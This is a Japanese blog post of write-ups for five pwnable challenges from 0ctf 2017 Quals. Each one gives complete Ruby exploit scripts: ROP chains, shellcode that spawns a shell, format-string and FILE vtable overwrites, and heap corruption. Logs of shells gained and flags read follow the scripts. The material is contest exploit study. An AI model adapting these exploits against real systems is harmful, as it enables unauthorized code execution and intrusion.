Subscribed unsubscribe Subscribe Subscribe

しゃろの日記

CTFのwriteup置き場になる予定(`・ω・´)

0ctf 2017 Quals writeup

0ctf 2017 Qualsにbinjaで参加しました。

チームで5443pts入れて2位、私は5問解いて1296pts入れました。

解いた問題のwriteupを置いておきます(`・ω・´)

char (Pwnable 130)

まずは下調べ。

$ file char
char: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=4b292f5bfd7089a2fe69a25677f42a25e7c2b3df, stripped

$ checksec --file char
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   char

プログラムの流れは

  1. scanf("%2400s", input)でスタックに文字列を読み込む
  2. 問題に同梱のlibc.soをmmapで0x5555e000にマッピングする
  3. 1.で読み込んだ文字列をチェックし、non-printableな文字が入っているとexit
  4. チェックを通過した場合、strcpyで文字列をスタックにコピーし直すついでにstack bofさせる

という感じ。

printableな文字のみを使ってROPペイロードを書けという問題だが、

  • scanf("%s")はnull byteを入れても入力が切れない
  • 文字列のチェックのループ回数はstrlen(input)で決まる

という点を考えると、[padding(printable)] + [stack pivot gadget(printable)] + "\0" + [普通のROPペイロード]という風にnull byteを入れることで、縛りROP問がただのROP問に弱体化する。

今回はgotにmmapがいるので、rwxな領域を作ってシェルコードを実行させて解いた。

#coding:ascii-8bit
require "pwnlib"

remote = ARGV[0] == "r"
if remote
  host = "202.120.7.214"
  port = 23222
else
  host = "localhost"
  port = 54321
end

libc_base = 0x5555e000
libc_offset = {
  "add_esp_0xec_ret" => 0x68f5c,
  "add_esp_0x1c_ret" => 0x19939
}

offset = {
  "mmap" => 0x080484f0,
  "scanf" => 0x08048540,
  "ret" => 0x08048692,
  "formatstr" => 0x0804894c,
  "shellcode" => 0x13370000
}

PwnTube.open(host, port){|tube|

  tube.recv_until("GO : ) \n")

  puts "[*] send rop"
  payload = ""
  payload << "A" * 0x20
  payload << [libc_base + libc_offset["add_esp_0xec_ret"]].pack("L")
  payload << [0].pack("L")
  payload << [offset["ret"]].pack("L") * 20
  payload << [offset["mmap"], libc_base + libc_offset["add_esp_0x1c_ret"], offset["shellcode"], 0x1000, 7, 34, -1, 0].pack("L*")
  payload << [offset["ret"]].pack("L") * 4
  payload << [offset["scanf"], offset["shellcode"], offset["formatstr"], offset["shellcode"]].pack("L*")
  tube.sendline(payload)

  puts "[*] send shellcode"
  sleep(1)
  tube.sendline(["eb0f5b31c089c189c28d40088d4003cd80e8ecffffff2f62696e2f736800"].pack("H*"))

  tube.interactive
}
$ ruby char.rb r
[*] connected
[*] send rop
[*] send shellcode
[*] interactive mode
id
uid=1001(char) gid=1001(char) groups=1001(char)
cat /home/*/flag
flag{Asc11_ea3y_d0_1t???}
exit
[*] end interactive mode
[*] connection closed

FLAG: flag{Asc11_ea3y_d0_1t???}

EasiestPrintf (Pwnable 150)

まずは下調べ。

$ file EasiestPrintf
EasiestPrintf: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=61cd88e3d189854473fddf7c0ace6450986e4b02, not stripped

$ checksec --file EasiestPrintf
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Full RELRO      Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   EasiestPrintf

プログラムの流れは

  1. 指定したアドレスにある32bit値を1回だけ教えてもらえる
  2. スタックに最大159バイトの文字列を読み込み、読み込んだ文字列を引数としてprintfを呼ぶ
  3. _exit(0)する

という感じ。

自明なfsbがあるが、Full RELROなのでgot overwriteができないし、_exitで終わるのでスタックを書き換えても意味がない。

仕方がないので、stdout内に偽のvtableを作った上でstdoutのvtable pointerを書き換えてsystemを呼んだ。

文字数制限が地味にキツかったためゴリ押ししたら、ひどいexploitになってしまった。

#coding:ascii-8bit
require "pwnlib"

remote = ARGV[0] == "r"
if remote
  host = "202.120.7.210"
  port = 12321
  libc_offset = {
    "__libc_start_main" => 0x19970,
    "stdout" => 0x1a9ac0,
    "system" => 0x3e3e0
  }
else
  host = "localhost"
  port = 54321
  libc_offset = {
    "__libc_start_main" => 0x19970,
    "stdout" => 0x1a9ac0,
    "system" => 0x3e3e0
  }
end

got = {
  "__libc_start_main" => 0x08049fec
}

def build_format_string(address, data, index)
  pairs = address.zip(data.bytes).sort_by{|a| (a[1] - address.length * 4) & 0xff}

  payload = ""
  payload << pairs.map{|a| a[0]}.pack("L*")
  count = payload.length

  pairs.each_with_index do |pair, i|
    a, b = pair
    if count != b
      payload << "%#{(b - count) & 0xff}c"
      count = b
    end
    payload << "%#{index + i}$hhn"
  end

  payload
end

PwnTube.open(host, port){|tube|

  puts "[*] leak libc base"
  tube.recv_until("Which address you wanna read:\n")
  tube.sendline("#{got["__libc_start_main"]}")
  libc_base = tube.recv_until("\n").strip.to_i(16) - libc_offset["__libc_start_main"]
  puts "libc base = 0x%08x" % libc_base

  puts "[*] overwrite stdout vtable"
  tube.recv_until("Good Bye\n")
  address = []
  data = ""
  address.push libc_base + libc_offset["stdout"] + 1
  data << "\x38"
  address.push *(libc_base + libc_offset["stdout"] + 4...libc_base + libc_offset["stdout"] + 8).to_a
  data << ";sh\0"
  address.push *(libc_base + libc_offset["stdout"] + 0x94...libc_base + libc_offset["stdout"] + 0x97).to_a
  data << [libc_base + libc_offset["stdout"] + 0xc - 0x1c].pack("L")[0...3]
  address.push *(libc_base + libc_offset["stdout"] + 0xc...libc_base + libc_offset["stdout"] + 0xf).to_a
  data << [libc_base + libc_offset["system"]].pack("L")[0...3]
  tube.send(build_format_string(address, data, 7).ljust(159, "\0"))

  tube.interactive
}
$ ruby easiest_printf.rb r
[*] connected
[*] leak libc base
libc base = 0xf7593000
[*] overwrite stdout vtable
[*] interactive mode
sh: 1: �8��: not found
id
uid=1001(EasiestPrintf) gid=1001(EasiestPrintf) groups=1001(EasiestPrintf)
cat /home/*/flag
flag{Dr4m471c_pr1N7f_45_y0u_Kn0w}
exit
[*] end interactive mode
[*] connection closed

FLAG: flag{Dr4m471c_pr1N7f_45_y0u_Kn0w}

diethard (Pwnable 183)

独自mallocを実装した簡易メモアプリ。

$ ./diethard
Input Command:
 1. Add a Message
 2. Delete a Message
 3. Exit

まずは下調べ。

$ file diethard
diethard: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=38ff99c043a652b2edec032232191f9703653abe, stripped

$ checksec --file diethard
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
No RELRO        No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   diethard

主な仕様はこんな感じ。

  • 独自malloc
    • jemallocと雰囲気が似ている(たぶん)
    • 複数のsize classがある(size classは8, 16, 32, 64, …, 0x200, 0x400, 0x800がある)
    • 各size classはmmapで確保された複数のページ(1ページ = 0x1000バイト)を持ち、各ページを複数のブロックに分割して管理する
    • どのブロックが使用中かを表すビットマップを保持するページもある
    • 図にするとこんな感じ
      f:id:Charo_IT:20170323113440p:plain
  • Add a Message
    • 指定した長さのメモを作成する(1バイト以上2048バイト未満)
    • メモは10個まで作れる
    • 長さが2016バイト未満の場合は下に示すMessage_Smallが、2016バイト以上の場合はMessage_Largeが使われる
    • 初期化時に「自分のすぐ後ろに別のMessage_*構造体がある(もしくは将来確保される)と仮定して、そのprev_idに自分のIDを書き込む」(コードにすると*(unsigned long*)((char*)message + sizeof(*message)) = message_id)という少し怪しいことをしている
struct Message_Small {
    unsigned long prev_id;
    size_t length;
    char *content;  // bufのアドレスが入る
    void (*print)(char *, size_t);
    char buf[length + 1];
};
struct Message_Large {
    unsigned long prev_id;
    size_t length;
    char *content;
    void (*print)(char *, size_t);
}
  • Delete a Message
    • 指定したメモに割り当てられた領域を解放する

Add a Messageのprev_id更新処理は、自分のすぐ後ろに別のMessage_*が必ず来るという前提が常に成り立つならうまくいくが、
下の図の状態で新たにlength=2015Message_Smallを作ると、図の青色の部分に領域が確保され、
f:id:Charo_IT:20170323113506p:plain
prev_id更新処理によってmalloc用のビットマップが上書きされてしまう。
f:id:Charo_IT:20170323113518p:plain
ここでmalloc(0x800)を呼ぶと、mallocはID=1のMessage_Smallのアドレスを返すため、Use After Freeに似た状況を作り出すことができる。

ここまで来れば、ID=1のMessage_Smallの構造体を書き換えることで好き勝手できるようになる。

#coding:ascii-8bit
require "pwnlib"

remote = ARGV[0] == "r"
if remote
  host = "202.120.7.194"
  port = 6666
  libc_offset = {
    "__libc_start_main" => 0x21a50,
    "system" => 0x41490,
    "/bin/sh" => 0x1633e8
  }
else
  host = "localhost"
  port = 54321
  libc_offset = {
    "__libc_start_main" => 0x20740,
    "system" => 0x45390,
    "/bin/sh" => 0x18c177
  }
end

offset = {
  "print_string" => 0x400976
}

got = {
  "__libc_start_main" => 0x603280
}

class PwnTube
  def recv_until_prompt
    recv_until("3. Exit\n\n")
  end
end

def tube
  @tube
end

def add_message(length, message)
  tube.recv_until_prompt
  tube.sendline("1")
  tube.recv_until("Input Message Length:\n")
  tube.sendline("#{length}")
  tube.recv_until("Please Input Message:\n")
  tube.send(message)
end

def delete_message(index)
  tube.recv_until_prompt
  tube.sendline("2")
  tube.recv_until("Which Message You Want To Delete?\n")
  tube.sendline("#{index}")
end

def show_messages
  tube.recv_until_prompt
  tube.sendline("2")
  s = tube.recv_until("Which Message You Want To Delete?\n")
  tube.sendline("114514")
  s
end

PwnTube.open(host, port){|t|
  @tube = t

  puts "[*] overwrite bit field for blocksize=0x800"
  2.times{add_message(2015, "AAAAAAAA\n")}

  puts "[*] leak libc base"
  payload = ""
  payload << [0].pack("Q")
  payload << [8].pack("Q")  # size
  payload << [got["__libc_start_main"]].pack("Q")  # content
  payload << [offset["print_string"]].pack("Q")  # function pointer
  add_message(2047, payload + "\n")
  libc_base = show_messages.match(/1. (......\0\0)\n/m).captures[0].unpack("Q")[0] - libc_offset["__libc_start_main"]
  puts "libc base = 0x%x" % libc_base

  puts "[*] overwrite function pointer"
  delete_message(2)
  payload = ""
  payload << [0].pack("Q")
  payload << [-1].pack("Q")  # size
  payload << [libc_base + libc_offset["/bin/sh"]].pack("Q")  # content
  payload << [libc_base + libc_offset["system"]].pack("Q")  # function pointer
  add_message(2047, payload + "\n")

  puts "[*] launch shell"
  tube.recv_until_prompt
  tube.sendline("2")

  tube.recv_until("1. ")
  tube.interactive
}
$ ruby diethard.rb r
[*] connected
[*] overwrite bit field for blocksize=0x800
[*] leak libc base
libc base = 0x7ff7c0508000
[*] overwrite function pointer
[*] launch shell
[*] interactive mode
id
uid=1001(diethard) gid=1001(diethard) groups=1001(diethard)
cat /home/*/flag
flag{W33_g0t_H34p_me7ad4t4_!n_BSS}
exit

FLAG: flag{W33_g0t_H34p_me7ad4t4_!n_BSS}

Baby Heap 2017 (Pwnable 255)

ヒープを頑張る問題。

===== Baby Heap in 2017 =====
1. Allocate
2. Fill
3. Free
4. Dump
5. Exit
Command:

まずは下調べ。

$ file babyheap_69a42acd160ab67a68047ca3f9c390b9
babyheap_69a42acd160ab67a68047ca3f9c390b9: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=9e5bfa980355d6158a76acacb7bda01f4e3fc1c2, stripped

$ checksec --file babyheap_69a42acd160ab67a68047ca3f9c390b9
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   babyheap_69a42acd160ab67a68047ca3f9c390b9

主な仕様はこんな感じ。

  • Allocate
    • 指定したサイズ(最大4096バイト)の領域をcallocで確保する
    • 領域は16個まで確保できる
  • Fill
    • 指定した領域に文字列を読み込む
    • なぜかサイズを聞いてくるが、1以上かどうかしかチェックしないためheap bofする
  • Free
    • 指定した領域をfreeする
  • Dump
    • 指定した領域の内容を出力する

自由度が高いのでいろいろな攻略方法が考えられるが、今回は

  1. fastbinサイズでないチャンク同士でchunk overlappingを起こし、後ろにある方のチャンクをfreeする
  2. 前にある方のチャンクの内容を出力するとlibcのアドレスがリークする
  3. fastbins unlink attackで__free_hookの手前にチャンクを確保し、__free_hooksystemに書き換える

という手順(かなり大まかに書いたが)で攻略した。

#coding:ascii-8bit
require "pwnlib"

remote = ARGV[0] == "r"
if remote
  host = "202.120.7.218"
  port = 2017
  libc_offset = {
    "main_arena" => 0x3a5620,
    "__free_hook" => 0x3a77c8,
    "system" => 0x41490,
  }
else
  host = "localhost"
  port = 54321
  libc_offset = {
    "main_arena" => 0x3c3b20,
    "__free_hook" => 0x3c57a8,
    "system" => 0x45390
  }
end

class PwnTube
  def recv_until_prompt
    recv_until("Command: ")
  end
end

def tube
  @tube
end

def allocate(size)
  tube.recv_until_prompt
  tube.sendline("1\0")
  tube.recv_until("Size: ")
  tube.sendline("#{size}\0")
end

def fill(index, content)
  tube.recv_until_prompt
  tube.sendline("2\0")
  tube.recv_until("Index: ")
  tube.sendline("#{index}\0")
  tube.recv_until("Size: ")
  tube.sendline("#{content.length}\0")
  tube.recv_until("Content: ")
  tube.send(content)
end

def free(index)
  tube.recv_until_prompt
  tube.sendline("3\0")
  tube.recv_until("Index: ")
  tube.sendline("#{index}\0")
end

def dump(index)
  tube.recv_until_prompt
  tube.sendline("4\0")
  tube.recv_until("Index: ")
  tube.sendline("#{index}\0")
end

PwnTube.open(host, port){|t|
  @tube = t

  puts "[*] allocate chunks"
  allocate(0x18)
  allocate(0x18)
  allocate(0x88)
  allocate(0x68)

  puts "[*] overwrite chunksize"
  payload = ""
  payload << [0].pack("Q") * 3
  payload << [0xb1].pack("Q")
  fill(0, payload)

  puts "[*] make chunks overlapping and leak libc base"
  free(1)
  allocate(0xa8)
  payload = ""
  payload << [0].pack("Q") * 3
  payload << [0x91].pack("Q")
  fill(1, payload)
  free(2)
  dump(1)
  libc_base = tube.recv_capture(/Content: \n.{32}(........)/m)[0].unpack("Q")[0] - libc_offset["main_arena"] - 0x58
  puts "libc base = 0x%x" % libc_base

  puts "[*] overwrite __free_hook"
  allocate(0x68)
  free(2)
  payload = ""
  payload << [0].pack("Q") * 3
  payload << [0xb1].pack("Q")
  payload << [0].pack("Q") * 3
  payload << [0x71].pack("Q")
  payload << [libc_base + libc_offset["__free_hook"] - 0x10 - 3].pack("Q")
  payload << [0].pack("Q") * 12
  payload << [0x21].pack("Q")  # use unsorted_bin attack to make a step to overwrite __free_hook
  payload << [libc_base + libc_offset["main_arena"] + 0x58].pack("Q")
  payload << [libc_base + libc_offset["__free_hook"] - 0x20].pack("Q")
  fill(0, payload)
  allocate(0x18)
  allocate(0x68)
  allocate(0x68)
  fill(0, "/bin/sh\0")
  fill(5, "AAA" + [libc_base + libc_offset["system"]].pack("Q"))

  puts "[*] launch shell"
  free(0)

  tube.interactive
}
$ ruby babyheap.rb r
[*] connected
[*] allocate chunks
[*] overwrite chunksize
[*] make chunks overlapping and leak libc base
libc base = 0x7f2ca0084000
[*] overwrite __free_hook
[*] launch shell
[*] interactive mode
id
uid=1001(babyheap) gid=1001(babyheap) groups=1001(babyheap)
cat /home/*/flag
flag{you_are_now_a_qualified_heap_beginner_in_2017}
exit
1. Allocate
2. Fill
3. Free
4. Dump
5. Exit
Command: 5
[*] end interactive mode
[*] connection closed

FLAG: flag{you_are_now_a_qualified_heap_beginner_in_2017}

engineOnline (Pwnable 578)

rev問として出題されていたengineTest(論理回路シミュレータ)のバイナリをexploitする問題。

まずは下調べ。

$ file engineTest
engineTest: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=5d34dfdf744f750c64a7732cf43424b5462a142f, stripped

$ checksec --file engineTest
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   engineTest

主な仕様はこんな感じ。

  • rev問として動かすときは./engineTest ./cp ./ip /dev/stdin ./opの形で、pwn問として動かすときは./engineTest none none none noneの形で実行する(以下、プログラムの1番目の引数をcp, 2番目の引数をip, 3番目の引数をinput, 4番目の引数をopと書く)
    • 引数にファイル名が指定されているときはそのファイルから、noneが指定されているときは標準入力からデータを読み込む
  • 動作の流れ
    1. cpから2つの64bit値bitfield_sizecpdata_lengthを読み込む
    2. bitfield_sizebitのビットフィールド用の領域portsを確保する
      このビットフィールドは論理ゲートの入出力ポートとして使われる
      なお、次の2ポートは入力専用として値が固定されている
      • ports[0] = 0
      • ports[1] = 1
    3. 論理ゲートのデータをcpからヒープに読み込む
      論理ゲートのデータは、64bit値5つを1セットとしてcpdata_lengthセット並べた感じになっている
      用意されている論理ゲートは次の4種類(括弧内はcpでのフォーマット)
      • ANDゲート([1, input1, input2, -1, output]
        • ports[output] = ports[input1] & ports[input2]
      • ORゲート([2, input1, input2, -1, output]
        • ports[output] = ports[input1] | ports[input2]
      • XORゲート([3, input1, input2, -1, output]
        • ports[output] = ports[input1] ^ ports[input2]
      • セレクタ[4, input1, input2, input3, output]
        • ports[output] = ports[input1] ? ports[input2] : ports[input3]
    4. cpから読み込んだデータをチェックし、おかしな回路になっていた場合は異常終了する
      • ports[0], ports[1]に出力しようとしているゲートがないか
      • bitfield_size以上の番号のポートにアクセスしようとしているゲートがないか
      • その他チェックいろいろ?(この辺の処理を読むのがつらすぎたため真面目に読んでいない)
    5. cpのデータをチェックするついでに、各論理ゲートの入出力ポート番号を基にして、論理ゲートを評価する順番を決める
    6. ipとinputからデータを読み込み、inputで読み込んだビット列をipで指定されたポートにセットする
      • ipで指定されている番号がbitfield_sizeより小さいかをチェックしていないため、out-of-bounds writeができる
    7. 論理回路の各論理ゲートを評価する
    8. opからデータを読み込み、opで指定されたポートの状態を標準出力に出力する
      • opで指定されている番号がbitfield_sizeより小さいかをここでもチェックしていないため、out-of-bounds readができる
    9. スタック上にあるデバッグフラグがオンになっている場合、getsが呼ばれる(が、このフラグはオフで初期化され、プログラム内で変更されることはない)

プログラムの最後にあるgetsが呼んで欲しそうにしているので、スタック上のデバッグフラグをオンにする方法を考える。

bitfield_size, cpdata_lengthがよほど大きい値になっていない限り、メモリレイアウトは次のようになる。
f:id:Charo_IT:20170323113544p:plain

スタック上のデバッグフラグをオンにするには、ip読み込み時におけるout-of-bounds writeを使ってスタックを書き換えるという方法がまず思いつくが、ASLRが有効なため狙った場所を書き換えるのは難しい。

一方、cpを書き換えるようにすると、動作の流れ4.や5.で書いた要素に邪魔されることなく思い通りの動作をする回路を作ることができる。

なので、

  1. ヒープ上に転がっているヒープアドレスやスタックアドレスをportsにコピーする
  2. 拾ってきたアドレスを使ってデバッグフラグのアドレスを求める
  3. 回路を動的に書き換え、スタック上のデバッグフラグをオンにするゲートを作る

という動作をする回路を作ってデバッグフラグをオンにし、getsが呼ばれるようにした。

#coding:ascii-8bit
require "pwnlib"

remote = ARGV[0] == "r"
if remote
  host = "202.120.7.199"
  port = 24680
  libc_offset = {
    "__libc_start_main" => 0x21a50,
    "one_gadget" => 0x41374
  }
else
  host = "localhost"
  port = 54321
  libc_offset = {
    "__libc_start_main" => 0x21a50,
    "one_gadget" => 0x41374
  }
end

offset = {
  "ret" => 0x402bf9,
  "__libc_start_main" => 0x400c80
}

got = {
  "read" => 0x605050,
  "write" => 0x6050b8,
  "__libc_start_main" => 0x605058
}

def call_func(addr, arg1 = 0, arg2 = 0, arg3 = 0)
  payload = ""
  payload << [0x403c2a, 0, 1, addr, arg3, arg2, arg1].pack("Q*")
  payload << [0x403c10].pack("Q")
  payload << [0].pack("Q") * 7
  payload
end

class Engine
  attr_reader :program

  def initialize
    @program = []
  end

  def op_and(arg1, arg2, output)
    program << [1, arg1, arg2, -1, output]
  end

  def op_or(arg1, arg2, output)
    program << [2, arg1, arg2, -1, output]
  end

  def xor(arg1, arg2, output)
    program << [3, arg1, arg2, -1, output]
  end

  def iif(condition, if_true, if_false, output)
    program << [4, condition, if_true, if_false, output]
  end

  def copy(src, dst, length)
    length.times{|i| xor(src + i, 0, dst + i)}
  end

  def memset(addr, bit, length)
    length.times{|i| iif(bit, 1, 0, addr + i)}
  end

  def set_value(addr, value, width = 64)
    width.times{|i| memset(addr + i, value[i], 1)}
  end

  def add(arg1, arg2, output, width = 64)
    carry = 2
    tmp = [3, 4, 5, 6]
    memset(carry, 0, tmp.length + 1)
    width.times do |i|
      xor(arg1 + i, arg2 + i, tmp[0])
      xor(tmp[0], carry, output + i)
      op_and(arg1 + i, arg2 + i, tmp[0])
      op_and(arg2 + i, carry, tmp[1])
      op_and(carry, arg1 + i, tmp[2])
      op_or(tmp[0], tmp[1], tmp[3])
      op_or(tmp[3], tmp[2], carry)
    end
  end

  def negate(arg, output, width = 64)
    width.times{|i| xor(arg + i, 1, output + i)}
  end

  def get_address
    program.length
  end

  def compile(&block)
    instance_eval(&block)
    @program
  end
end

def patch_byte(address, value, cp_address, bitfield_address, input_index, input_data, original_value = nil)
  8.times do |i|
    input_index << (cp_address + address - bitfield_address) * 8 + i if original_value != value
  end
  input_data << value.chr if original_value != value
end

def patch_qword(address, value, cp_address, bitfield_address, input_index, input_data, original_value = nil)
  8.times do |i|
    patch_byte(address + i, (value >> (i * 8)) & 0xff, cp_address, bitfield_address, input_index, input_data, (original_value >> (i * 8)) & 0xff)
  end
end

bitfield_address = 0x6191d0
cp_address = 0x619370
heap_address_holder = 0x641eb0
heap_address_value = 0x641e20
stack_address_holder = 0x65c138
bitfield_length = 51*64
input_index = []
input_data = ""
fake_expressions = Engine.new.compile{
  memset(bitfield_length / 2, 1, (bitfield_length / 2) - 2)
}
real_expressions = Engine.new.compile{
  diff = 0x7fffffffeaa4 - 0x00007fffffffe900

  copy((stack_address_holder - bitfield_address) * 8, 1 * 64, 48)
  copy(1 * 64, 3 * 64, 48)
  set_value(2 * 64, diff + 1, diff.bit_length)
  add(1 * 64, 2 * 64, 3 * 64, 32)

  set_value(4 * 64, -(heap_address_value - bitfield_address), 48)
  copy((heap_address_holder - bitfield_address) * 8, 5 * 64, 48)
  add(4 * 64, 5 * 64, 6 * 64, 48)

  negate(6 * 64, 6 * 64, 48)
  add(3 * 64, 6 * 64, 7 * 64, 48)

  addr = get_address
  copy(7 * 64, (cp_address + addr * 40 + 40 * 48 + 4 * 8 - bitfield_address) * 8 + 3, 48)
  xor(0, 1, 2)  
}

real_expressions.flatten.zip(fake_expressions.flatten).each_with_index{|a, i| patch_qword(i * 8, a[0], cp_address, bitfield_address, input_index, input_data, a[1])}

output_index = [0]

PwnTube.open(host, port){|tube|

  puts "[*] send data"
  tube.send([bitfield_length].pack("Q"))
  tube.send([fake_expressions.length].pack("Q"))
  tube.send(fake_expressions.flatten.pack("Q*"))
  tube.send([input_index.length].pack("Q"))
  tube.send(input_index.pack("Q*"))
  tube.send(input_data)
  tube.send([output_index.length].pack("Q"))
  tube.send(output_index.pack("Q*"))

  puts "[*] send rop"
  tube.recv_until("[DEBUG]finish, press enter to exit\n")
  payload = ""
  payload << [offset["ret"]].pack("Q") * 50
  payload << call_func(got["write"], 1, got["__libc_start_main"], 8)
  payload << call_func(got["read"], 0, got["__libc_start_main"], 8)
  payload << [offset["__libc_start_main"]].pack("Q")
  payload << "\0" * 0x40
  tube.sendline(payload)

  puts "[*] leak libc base"
  libc_base = tube.recv(8).unpack("Q")[0] - libc_offset["__libc_start_main"]
  puts "libc base = 0x%x" % libc_base

  puts "[*] overwrite got"
  tube.send([libc_base + libc_offset["one_gadget"]].pack("Q"))

  tube.interactive
}
$ ruby engine_online.rb r
[*] connected
[*] send data
[*] send rop
[*] leak libc base
libc base = 0x7f04ba49b000
[*] overwrite got
[*] interactive mode
id
uid=1001(engine) gid=1001(engine) groups=1001(engine)
cat /home/*/flag
flag{The_Road_Fr0m_Circuit_70_sh5ll}
exit
[*] end interactive mode
[*] connection closed

FLAG: flag{The_Road_Fr0m_Circuit_70_sh5ll}